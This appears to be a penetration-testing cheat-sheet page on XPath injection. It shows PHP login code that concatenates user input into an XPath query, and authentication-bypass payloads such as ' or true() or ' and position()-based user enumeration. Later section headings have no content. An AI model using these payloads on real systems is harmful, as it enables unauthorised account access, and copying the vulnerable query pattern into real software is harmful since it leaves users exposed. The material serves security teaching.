XPath Injection
Authentication Bypass
# Sample vulnerable code
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . $_POST['password'] . "']";
$results = $xml->xpath($query);
# Injection payload
# /users/user[username/text()='' or '1'='1' and password/text()='' or '1'='1']
# /users/user[username/text()='admin' or '1'='1' and password/text()='abc']
' or '1'='1# Sample vulnerable code
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . md5($_POST['password']) . "']";
$results = $xml->xpath($query);
# Injection Payload
# This wont work: /users/user[username/text()='' or '1'='1' and password/text()='59725b2f19656a33b3eed406531fb474']
# We can inject a double or clause in the username to make the XPath query return true
# /users/user[username/text()='' or true() or '' and password/text()='59725b2f19656a33b3eed406531fb474']
' or true() or '
# We can iterate over all users by their position
# /users/user[username/text()='' or position()=2 or '' and password/text()='59725b2f19656a33b3eed406531fb474']
' or position()=2 or '
# We can search for specific users if we know part of the username.
# /users/user[username/text()='' or contains(.,'admin') or '' and password/text()='59725b2f19656a33b3eed406531fb474']
' or contains(.,'admin') or 'Data Exfiltration
Node Selection Exploitation
Predicate Exploitation
Blind Exploitation
Time-based Exploitation
Automation
Last updated